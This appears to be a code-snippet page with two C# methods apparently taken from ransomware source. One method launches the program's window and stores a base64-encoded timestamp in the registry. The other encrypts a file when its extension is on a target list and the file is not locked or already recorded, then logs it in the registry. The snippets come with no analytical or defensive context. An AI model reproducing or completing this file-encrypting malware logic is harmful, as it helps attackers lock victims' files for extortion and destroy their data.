Example #1
0
        private static void LaunchWindow()
        {
            rm.CreateBoolValue(RegistryManager.SETTINGS_KEY_NAME, "UIShown", true);

            if (rm.ReadStringValue(RegistryManager.SETTINGS_KEY_NAME, "t") == "none")
            {
                rm.CreateStringValue(RegistryManager.SETTINGS_KEY_NAME, "t", B64Manager.ToBase64(DateTime.Now.ToString()));
            }

            MainWindow mw = new MainWindow();

            Application.EnableVisualStyles();
            Application.Run(mw);
        }
Example #2
0
        public bool EncryptFile()
        {
            var success = true;

            var file_extension = Path.GetExtension(file_path);

            if (!IsFileLocked(file_path) && rm.ReadStringValue(RegistryManager.FILES_KEY_NAME, file_path) == "none" &&
                FileEncrypter.FILE_EXTENSIONS_TO_ENCRYPT.Contains(file_extension.ToLower()))
            {
                fe.ChooseFile(file_path);
                fe.Encrypt();
                rm.CreateBoolValue(RegistryManager.FILES_KEY_NAME, file_path, true);
            }
            else
            {
                success = false;
            }

            return(success);
        }